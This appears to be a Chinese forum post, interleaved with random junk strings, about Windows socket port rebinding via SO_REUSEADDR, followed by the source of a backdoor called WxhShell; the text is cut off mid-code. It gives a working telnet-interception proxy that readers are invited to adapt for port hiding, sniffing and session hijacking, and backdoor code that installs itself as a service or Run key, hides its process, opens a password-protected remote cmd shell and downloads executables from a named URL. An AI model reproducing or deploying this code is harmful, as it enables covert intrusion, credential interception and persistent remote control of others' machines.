在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
LknVqZ|k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
l,bZG3,6 K-@bwB7~s saddr.sin_family = AF_INET;
M,..Kw/ }~ l%PnB
)F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%$9:e
J? wZ>Y<0, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=J3`@9; ,cQA*;6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
yQ-hnlzn~ Wo3'd|Y~i 这意味着什么?意味着可以进行如下的攻击:
n~%}Z[5D <%?uYCD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Bbs 0v6&, [4gjC
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IwRQL% 1v]t!}W:6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W-Of[X{< ZNy9_a:dX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I9/KM4& %UG/ak%z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^pw7o6} =uc^433. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ha>SZnKD{ <9N4"d!A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
IUawdB5CB ,.7vBt6 p #include
!E0fGh #include
=ZMF ]| #include
)52#:27F #include
)@$
&FFIu DWORD WINAPI ClientThread(LPVOID lpParam);
*1,=qRjL int main()
)0F^NU {
,v_B)a_E WORD wVersionRequested;
E{oB2;P DWORD ret;
swt\Ru6, WSADATA wsaData;
8bGD BOOL val;
k+txb? SOCKADDR_IN saddr;
*-7fa0< SOCKADDR_IN scaddr;
i-"<[*ePd int err;
F*!gzKZ" SOCKET s;
\7DCwu[0M SOCKET sc;
gix>DHq$k int caddsize;
Xj;2h{#s HANDLE mt;
kPedX DWORD tid;
ZIy(<0 wVersionRequested = MAKEWORD( 2, 2 );
d~/xGB`< err = WSAStartup( wVersionRequested, &wsaData );
o@',YF>OQ if ( err != 0 ) {
s
kY0 \V printf("error!WSAStartup failed!\n");
H<z30r/-w return -1;
Di])<V }
'tSnH&c saddr.sin_family = AF_INET;
Q'C4pn@ Xky@[Td* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wOM<XhZ U,d2DAvt saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vC-[#]< saddr.sin_port = htons(23);
T7s+9CE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2_I+mQ {
-G!6U2*# printf("error!socket failed!\n");
`|JI\&z return -1;
I*9Gb$]= }
BiE$mM val = TRUE;
#4lHaFq //SO_REUSEADDR选项就是可以实现端口重绑定的
P;>!wU~* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8nf4Jk8r {
\`&xprqAw printf("error!setsockopt failed!\n");
kp.|gzA6 return -1;
Ltl]j*yei }
_rG-#BKW8L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3U>S]#5} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wH!}qz/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Iw*C*%}[Z e00RT1L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Z{
%Uw;d {
v$Dh.y ret=GetLastError();
^X$
I= ro printf("error!bind failed!\n");
T77)Np return -1;
[e1\A&T }
#yX^?+Rc listen(s,2);
do*Wx2:R while(1)
$Q#?`j {
37~rm caddsize = sizeof(scaddr);
j}"]s/= 6 //接受连接请求
/LSq%~UF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~V!EtZG$ if(sc!=INVALID_SOCKET)
v(a9#bMZU {
PQQgDtiH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?'T"?b< if(mt==NULL)
HoMQt3C {
Qk|( EFQ9 printf("Thread Creat Failed!\n");
d{?)q break;
e5FCqNip' }
2,+@#q }
rdFs?hO CloseHandle(mt);
pDP33`OFh }
<%he
o closesocket(s);
rT o%=0P WSACleanup();
1XQ87~ return 0;
YBR)s\* }
vsjM3= DWORD WINAPI ClientThread(LPVOID lpParam)
gp%tMTI1 {
Q4#\{" N! SOCKET ss = (SOCKET)lpParam;
#T
Z!#,q SOCKET sc;
=":@Foa unsigned char buf[4096];
h=:*7>} SOCKADDR_IN saddr;
;U8dm" long num;
YHJ' DWORD val;
7eTA`@v5A DWORD ret;
;.L!%$0i# //如果是隐藏端口应用的话,可以在此处加一些判断
`Uu^I
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G &m>Ov$#& saddr.sin_family = AF_INET;
[;)~nPjI saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
UnJi& ~O saddr.sin_port = htons(23);
CzK%x?~] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9tW3!O^_ {
cPx66Dh& printf("error!socket failed!\n");
M_yZR^;^- return -1;
{c.}fyN }
wHq('+{=&
val = 100;
k&n\
=tKN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)kFme=; {
_.u~)Q`6 ret = GetLastError();
|L*6x
S[ return -1;
g]:..W7 }
JiG8jB7%} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bDxPgb7N= {
N)`tI0/W ret = GetLastError();
^Z#<tN; return -1;
VG? yL2y }
A)= X?x if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@oUf}rMiDa {
Lx9hq7< printf("error!socket connect failed!\n");
,oy4V ^B& closesocket(sc);
*9\oD~2Y closesocket(ss);
e&r+w! return -1;
ch%Q'DR_I) }
0:~gW#lD while(1)
J+-,^8) {
#u!y`lek //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@Z"QA!OK~c //如果是嗅探内容的话,可以再此处进行内容分析和记录
vbW\~xf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
**"zDY*?W num = recv(ss,buf,4096,0);
#sozXza\G if(num>0)
?14X8Mb8W_ send(sc,buf,num,0);
F o--PtY`p else if(num==0)
,Gf+U7'K break;
I$rW[l2 num = recv(sc,buf,4096,0);
"i;*\+x if(num>0)
&e5^v send(ss,buf,num,0);
oXu~9'm$ else if(num==0)
p?EEox break;
y}.y,\S0 }
P#M<CG9 closesocket(ss);
e!O &~#'h} closesocket(sc);
(cbB% return 0 ;
$6qR/#74 }
>EPaZp6 i[V,IP + BbXmT"@ ==========================================================
Ip1QVND 2}W6{T' 下边附上一个代码,,WXhSHELL
:Map,]]B_ p;)klH@ X ==========================================================
G5C#i7cpm &k {t0> #include "stdafx.h"
5k!(#@a_T 4kN:=g #include <stdio.h>
= m!! #include <string.h>
'Y6(4|w
( #include <windows.h>
hNgcE,67q #include <winsock2.h>
9
u6
g #include <winsvc.h>
Y D1g]p #include <urlmon.h>
{RWahnr{ hU=f?jo/ #pragma comment (lib, "Ws2_32.lib")
]7Xs=>"Iw #pragma comment (lib, "urlmon.lib")
DY%T`} pw(*X,gj #define MAX_USER 100 // 最大客户端连接数
`0-m`> 1> #define BUF_SOCK 200 // sock buffer
Tg}H < T #define KEY_BUFF 255 // 输入 buffer
'8iv?D5 M >Kqj{/SWK #define REBOOT 0 // 重启
6Wcn(h8%* #define SHUTDOWN 1 // 关机
s?z=q%-p oWn_3gzw; #define DEF_PORT 5000 // 监听端口
D0"yZp} #&HarBxx #define REG_LEN 16 // 注册表键长度
-bG#h)yj #define SVC_LEN 80 // NT服务名长度
$txWVjR?\ *HfW(C$ // 从dll定义API
}T&;*ww typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
0Mzc1dG: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3n=cw2FG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
et7 T)(k0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4%Wn}@ h_}BmJ h_ // wxhshell配置信息
?7uStqa struct WSCFG {
YV>VA<c int ws_port; // 监听端口
ce-m)o/ char ws_passstr[REG_LEN]; // 口令
!3gpiQH{ int ws_autoins; // 安装标记, 1=yes 0=no
|Cxip&e> char ws_regname[REG_LEN]; // 注册表键名
.,(uoK{ char ws_svcname[REG_LEN]; // 服务名
S
-mz xj char ws_svcdisp[SVC_LEN]; // 服务显示名
%[31ZFYB char ws_svcdesc[SVC_LEN]; // 服务描述信息
E,nYtn|B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d%"@#bB int ws_downexe; // 下载执行标记, 1=yes 0=no
{yl/T:Bh& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`~s,W.Eu4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=Am*$wGI D6@4 };
7{6cLYl g#bfY=C // default Wxhshell configuration
5<>R dLo struct WSCFG wscfg={DEF_PORT,
b&_u
O "xuhuanlingzhe",
Hr64M0V3B 1,
HhT8YH "Wxhshell",
0V>N#P] "Wxhshell",
ztt%l # "WxhShell Service",
k}owEBsn} "Wrsky Windows CmdShell Service",
uR[PKLh "Please Input Your Password: ",
GqF.T#| 1,
-p]`(S% "
http://www.wrsky.com/wxhshell.exe",
AfbA.- "Wxhshell.exe"
5d>YE };
.$T:n[@ Yk*57&QI // 消息定义模块
E6d8z=X( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DG%%] char *msg_ws_prompt="\n\r? for help\n\r#>";
2ucsTh@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
APOU&Wd char *msg_ws_ext="\n\rExit.";
7Q4PjcD char *msg_ws_end="\n\rQuit.";
&?ed.V@E5 char *msg_ws_boot="\n\rReboot...";
[Z`:1_^0} char *msg_ws_poff="\n\rShutdown...";
'V*M_o(\ char *msg_ws_down="\n\rSave to ";
dzC&7
9$ $9u char *msg_ws_err="\n\rErr!";
xWI 0s;k char *msg_ws_ok="\n\rOK!";
s9Q)6=mE %BP)m(S7 char ExeFile[MAX_PATH];
^zs4tCW % int nUser = 0;
e"8m+] HANDLE handles[MAX_USER];
=xQfgj int OsIsNt;
.TrQ +k> "u>sS SERVICE_STATUS serviceStatus;
ucm.~1G( SERVICE_STATUS_HANDLE hServiceStatusHandle;
?;=Y1O7N( 9Z_OLai
// 函数声明
q@!H^hd} int Install(void);
UHDI9>G~, int Uninstall(void);
u:>3j,Cs int DownloadFile(char *sURL, SOCKET wsh);
yqc(32rF! int Boot(int flag);
$oBZe>s. void HideProc(void);
as47eZ0\ int GetOsVer(void);
?@ye*%w_ int Wxhshell(SOCKET wsl);
1ROgUJ; void TalkWithClient(void *cs);
="nrq&2 int CmdShell(SOCKET sock);
3'NL1d u int StartFromService(void);
9;WOqBD int StartWxhshell(LPSTR lpCmdLine);
Xcpm?aTo 6}FDLBA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x@RA1&c VOID WINAPI NTServiceHandler( DWORD fdwControl );
CjukD%>sde oL/^[TXjH // 数据结构和表定义
XjM) /-w SERVICE_TABLE_ENTRY DispatchTable[] =
X;a{JjN {
A2FU}Ym0= {wscfg.ws_svcname, NTServiceMain},
uEO2,1+ {NULL, NULL}
2n r
UE };
H_r'q9@<> ZN]c>w[
)I // 自我安装
>Ti2E+}[M int Install(void)
0Y`tj {
Pj5#G0i% char svExeFile[MAX_PATH];
a/`Yh>ou HKEY key;
|ssIUJ strcpy(svExeFile,ExeFile);
1&L){ hg \36;csu // 如果是win9x系统,修改注册表设为自启动
uz2s- , if(!OsIsNt) {
v/6,eIz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WHk/mAI-s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D{d$L9. RegCloseKey(key);
~oR&0et if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
10C91/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
av$_hEjo|D RegCloseKey(key);
|MR?8A^" return 0;
s
!vROJ }
wLp
t2b8S }
eBRP%<=>D }
2%yJo7f$[ else {
U@AfRUF& w+(wvNmNEK // 如果是NT以上系统,安装为系统服务
NjyIwo0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zjZTar1Re if (schSCManager!=0)
( #"s!!b {
m8A_P:MQq SC_HANDLE schService = CreateService
aw~EK0yU
(
qxr&_r schSCManager,
`ha:Gf wscfg.ws_svcname,
/6*.%M>r wscfg.ws_svcdisp,
#\["y%;W SERVICE_ALL_ACCESS,
UN 4)>\Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y$No o)Z SERVICE_AUTO_START,
%4KJ&R
(>[ SERVICE_ERROR_NORMAL,
*w,gi.Y3 svExeFile,
,DOmh<b NULL,
|6Z MxY NULL,
? UDvFQ& NULL,
diL l>z NULL,
lH>XIEj NULL
nEEGO~e );
RUtS_Z& if (schService!=0)
XFe7qt;% {
9(.9l\h CloseServiceHandle(schService);
i*/U.'# CloseServiceHandle(schSCManager);
E,:pIw
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9o'6es..@Z strcat(svExeFile,wscfg.ws_svcname);
F7l:*r,O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.*7UT~o=CS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
OIT;fKl9 RegCloseKey(key);
wdV?&W+ return 0;
<\EfG:e }
GLF"`M /g }
<%7
V`,*g/ CloseServiceHandle(schSCManager);
cTTE]ix] }
)eMh,r
}
)fL*Ws6 o+Z9h1z%, return 1;
iRtDZoiD' }
,LO-!\L B9-[wg#0G // 自我卸载
][1u:V/
U int Uninstall(void)
I,3!uogn {
%.U{):lNx HKEY key;
{3Wc<&D
C1 k4rBS if(!OsIsNt) {
W
(=B H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"-:\-sMt{ RegDeleteValue(key,wscfg.ws_regname);
9X` QlJ2| RegCloseKey(key);
/CE d14. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T+D]bfjr&& RegDeleteValue(key,wscfg.ws_regname);
<~+ RegCloseKey(key);
N+75wtLy& return 0;
&/?jMyD@ }
!l^AKn| }
~mU_`o }
rv%[?Ml else {
2f4c;YS lHqx}n@e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jy2nn:1#^ if (schSCManager!=0)
+}/!yQtH {
59]9-1" + SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[1GEe if (schService!=0)
1z:N$O_v {
)c !S@Hs if(DeleteService(schService)!=0) {
GA}^Rh`T- CloseServiceHandle(schService);
Uroj%xN CloseServiceHandle(schSCManager);
aB'@8[]z return 0;
(=/;rJ`q }
MT0{hsuK9 CloseServiceHandle(schService);
ii9/ UtIQ }
,+9r/}K]/ CloseServiceHandle(schSCManager);
gVkI=J }
Fo~v.+^? }
RkwY3s" Y1\vt+`O return 1;
0&@pX~h: }
c<e\JJY5? $twF93u$ // 从指定url下载文件
I!D*( > int DownloadFile(char *sURL, SOCKET wsh)
v{Vesf {
,ua1xsZl& HRESULT hr;
7`!( 8 char seps[]= "/";
qKC*jDW char *token;
NkI: char *file;
$ :wM'&M char myURL[MAX_PATH];
![^h<Om char myFILE[MAX_PATH];
hM w`e o+TZUMm strcpy(myURL,sURL);
,eCXT=6 token=strtok(myURL,seps);
@D=`iG% while(token!=NULL)
)7J>:9h {
{[*_HAy7 file=token;
Jx w<* token=strtok(NULL,seps);
m)}MkC- }
d2sq]Q )xy6R]_b GetCurrentDirectory(MAX_PATH,myFILE);
|vzWSm strcat(myFILE, "\\");
pN_!|+$ strcat(myFILE, file);
[CX?Tt send(wsh,myFILE,strlen(myFILE),0);
&
jvG]>CS' send(wsh,"...",3,0);
Sw'?$j^3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lJ#>Y5Qg if(hr==S_OK)
\S@6@UGv return 0;
=)8fE*[s else
l.l~K%P'h return 1;
f34&:xz2U G|_aU8b|t }
mM>|fHGA cU|jT8Q4H // 系统电源模块
=U2n"du int Boot(int flag)
a*ymBGF {
':4pH#E HANDLE hToken;
k1zt| TOKEN_PRIVILEGES tkp;
]5/U}Um GJPZ[bo if(OsIsNt) {
qCN7i&k, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
c\MDOD%9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\-w s[ tkp.PrivilegeCount = 1;
V.:A'!$# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)W|jt/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p>3'77
V if(flag==REBOOT) {
mC(t;{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%$| k3[4V return 0;
ZRGZ'+hw }
7!wnx. else {
8Oh3iO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I3Xh[% -! return 0;
@8yFM% }
*!@x<Hf< }
tC-KW~& else {
~W{h-z%q if(flag==REBOOT) {
v*'\w#
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[S+-ovl return 0;
C/VYu-p% }
f om"8iL1 else {
e}AJxBE if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(OQ
@!R& return 0;
4[ 0?F!% }
RNtA4rC># }
tta0sJ8i tdF[2@?+ return 1;
F:GKnbY }
~la04wR28 >Fk`h=Wd // win9x进程隐藏模块
T?{9Z void HideProc(void)
v=-3 ,C {
Qp&ySU8 h xJgxM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q.km>XRk~ if ( hKernel != NULL )
?Zp!AV {
UyKG$6F?3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#2ASzCe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'$-,;vnP0 FreeLibrary(hKernel);
pY#EXZ# }
;XQ lj?: X>8?p'* return;
fhx:EZ:~ }
){6)?[G UVUO}B@[S // 获取操作系统版本
z>;+'>XXgx int GetOsVer(void)
L b;vrh;A {
wNhR(M7 OSVERSIONINFO winfo;
pF+wHMhUe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+J8/,d GetVersionEx(&winfo);
9$@ g;?}Ps if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
q%Jy>IXt return 1;
yUwgRj else
bTp2)a^G return 0;
a;(zH*/XK }
JM lhBh \[I . // 客户端句柄模块
&})d%*n int Wxhshell(SOCKET wsl)
U*"cf>dB( {
vD9D:vK SOCKET wsh;
05I39/T% struct sockaddr_in client;
A=]F_ DWORD myID;
810<1NP
3N0X?* (x| while(nUser<MAX_USER)
E?4@C"Na {
Mr,y| int nSize=sizeof(client);
<;E[)tv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
m{dyVE if(wsh==INVALID_SOCKET) return 1;
e -]c &dDI*v+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E816YS=' if(handles[nUser]==0)
5=h'!|iY closesocket(wsh);
1$D`Z/N"A else
e0WSHg=6@ nUser++;
|aAWWd5 }
=C>`}%XT} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
zQ %z"tQ 2*wO5v return 0;
>fA@tUQB }
\"`>-v"h UAXF64w{ // 关闭 socket
`pd void CloseIt(SOCKET wsh)
GKujDx+h {
jl-Aos"/ closesocket(wsh);
JBEgiQ/ nUser--;
W%9K5(e ExitThread(0);
&Yf#O* }
\M"^Oe{Dy? X>Xp&o // 客户端请求句柄
QXxLe* void TalkWithClient(void *cs)
jvc?hUcLKT {
I<(.i!-x V*7Z,nA SOCKET wsh=(SOCKET)cs;
rjAkpAT char pwd[SVC_LEN];
kbp(
a+5 char cmd[KEY_BUFF];
={E!8" char chr[1];
6SBvn% int i,j;
p@7i=hyt`p *(&ClUQQ while (nUser < MAX_USER) {
.4C[D{4 >yA,@%X if(wscfg.ws_passstr) {
^8oc^LOa~2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KWhM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u ?G\b{$m //ZeroMemory(pwd,KEY_BUFF);
v;bP8)mI i=0;
3ES[ N.V# while(i<SVC_LEN) {
jo;uR l Q^MXiEO+ // 设置超时
"^
6lvZP( fd_set FdRead;
*iRm`)zC( struct timeval TimeOut;
j
#I:6yA3 FD_ZERO(&FdRead);
<A -(&+ FD_SET(wsh,&FdRead);
;?L!1wklA TimeOut.tv_sec=8;
M o"JV TimeOut.tv_usec=0;
Jm(&G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,8=`* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<f.>jjwFE [71#@^ye if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4 %!{?[$ pwd
=chr[0]; Y!=
k
if(chr[0]==0xd || chr[0]==0xa) { 29iIG
'N
pwd=0; gF,[u
break; !&a;P,_Fb
} Z]aK'
i++; MB8SB
} #NN"(I
G V:$;
// 如果是非法用户,关闭 socket EAD0<I<>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y KYP
} iIGI=EwZ
A`x
-L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iJZ|[jEDV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JIP+ !2
lLkmcHu
while(1) { ||=[kjG~
Wm$`ae
ZeroMemory(cmd,KEY_BUFF); 6@?aVM~
5w,Z 7I8
// 自动支持客户端 telnet标准 G !1~i*P$u
j=0; Ev+HW x~Y
while(j<KEY_BUFF) { p]h*6nH>~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `*" H/QG
cmd[j]=chr[0]; (zs4#ja2,
if(chr[0]==0xa || chr[0]==0xd) { bCA2ik
cmd[j]=0; <g3du~
break; Tf#2"(!
} mWli}j#
j++; ~&DB!6*
} <}EV*`w4
so!w !O@@
// 下载文件 1tc]rC4h
if(strstr(cmd,"http://")) { h6\3vfj^f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <'}b*wUB
if(DownloadFile(cmd,wsh)) p<=(GY-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?E+:]j_
else M[YTk=IM#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QE45!Zg
} *2,e=tY>
else { ^"O{o8l>2
(# 6<k
switch(cmd[0]) { =% q?Cr
11)/] ?/j
// 帮助 %NT`C9][
case '?': { {Ax)[<i
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =My}{n[
break; ~!]&>n;=G
} Ml8 YyF/~
// 安装 GJ1;\:cQq
case 'i': { d ~{jEg
if(Install()) L$+d.=]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\{b!Cfr^
else
<+AI t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{k89{
break; [=F>#8=
} aho'|%y)
// 卸载 Hp)X^O"
case 'r': { n7IL7?!o
if(Uninstall()) `z|=~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pk-yj~F }
else NP K#].F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V_&GYXx(J
break; Zm%VG(l
} jM5_8nS&d
// 显示 wxhshell 所在路径 =\~E n5
case 'p': { r0\cc6
char svExeFile[MAX_PATH]; ?EI'^xg
strcpy(svExeFile,"\n\r"); op hH9D
strcat(svExeFile,ExeFile); f._l105.
send(wsh,svExeFile,strlen(svExeFile),0); uiktdZ/f
break; vk
@%R
} 1. #
|QX
// 重启 ]\CU9J|H8
case 'b': { ,CJAzGBS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3iE-6udCS
if(Boot(REBOOT)) ^FP}
qW~;9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCy`2Fir
else { v5(q)h
closesocket(wsh); !p}`kG
ExitThread(0); H>60D|v[
} {S[I_\3
break; ry.;u*F
} +>JdYV<?0
// 关机 j?EskT6
case 'd': { .z=U= _e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tIq>Oojdx
if(Boot(SHUTDOWN)) *)limqe3"$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?h/xAl
else { e8$l0gzaD
closesocket(wsh); drW~)6Lr@
ExitThread(0); K K?Zm_
} 9mam ~)_ |
break; r& vFikIz
} IQ ){(Y
// 获取shell nD7|8,'
case 's': { NF6X- ,cd
CmdShell(wsh); yJ%t^ X_
closesocket(wsh); <&4nOt
ExitThread(0); 9|'
|BC
break; >;
aCf#q
} |#{- .r6Y]
// 退出 EQ4#fAM)
case 'x': { 'eDJ@4Xm
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \[:PykS
CloseIt(wsh); *yJ[zXXjJ
break; l^.K'Q1~a
} /\ytr%7 ,'
// 离开 &~RR&MdZ2
case 'q': { 4|`Yz%'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )h#]iGVN}
closesocket(wsh); h@=7R
WSACleanup(); wZ#Rlv,3Wa
exit(1); ~A6 "sb=
break; {J (R
} KkEv#2n
} A]7<'el=
} >ajuk
*myG"@P4hW
// 提示信息 a Sf/4\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # kyl?E
} oBr.S_Qe
} >1A*MP4
OA[&Za#w
return; P}0*{%jB
} F*M|<E=
moMYdArj
// shell模块句柄 L'lF/qe^
int CmdShell(SOCKET sock) 3{KR
{B#L
{ ] /+D^6
STARTUPINFO si; %?bcT[|3
ZeroMemory(&si,sizeof(si)); u_PuqRcs
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0n.S,3|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P.djd$#
PROCESS_INFORMATION ProcessInfo; QdQd(4/1
char cmdline[]="cmd"; f;gZ|a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Gjq/L/x
return 0; petW
M@
} n"6;\
2#3^skj
// 自身启动模式 v!H:^!z
int StartFromService(void) 7{f_fkbs
{ [*)Z!)
typedef struct ZPHXzi3j
{ 5o#Yt
DWORD ExitStatus; FW8-'~
DWORD PebBaseAddress; RsW9:*R
DWORD AffinityMask; Rs*vm
DWORD BasePriority; $<|ocUC7
ULONG UniqueProcessId; X eoJ$PfT
